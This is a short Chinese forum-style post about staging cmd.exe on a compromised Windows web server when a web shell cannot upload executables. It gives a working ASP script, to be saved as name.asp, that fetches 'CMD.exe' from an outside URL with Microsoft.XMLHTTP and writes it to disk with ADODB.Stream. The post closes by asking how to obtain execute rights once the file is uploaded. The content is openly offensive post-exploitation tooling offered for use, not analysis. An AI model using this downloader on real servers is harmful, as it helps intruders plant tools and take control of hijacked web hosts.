shell无上传cmd等exe文件权限解决办法
在测试过程中遇到上类问题,目前WIN下测试成功的方法如下:
说明:
================================================
作用:保存远程的文件到本地
参数: LocalFileName ----本地文件名
RemoteFileUrl ----远程文件URL
返回值: True----成功
False----失败
================================================
把下面的代码保存为name.asp即可.
<% Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl) Dim Ads, Retrieval, GetRemoteData On Error Resume Next Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", s_RemoteFileUrl, False, "", "" .Send GetRemoteData = .ResponseBody End With Set Retrieval = Nothing Set Ads = Server.CreateObject("Adodb.Stream") With Ads .Type = 1 .Open .Write GetRemoteData .SaveToFile Server.MapPath(s_LocalFileName), 2 .Cancel() .Close() End With Set Ads=nothing End Sub eWebEditor_SaveRemoteFile"CMD.exe","http://www.PLMY.com/CMD.exe" %>
但是还有即使上传依旧无执行权限,求方法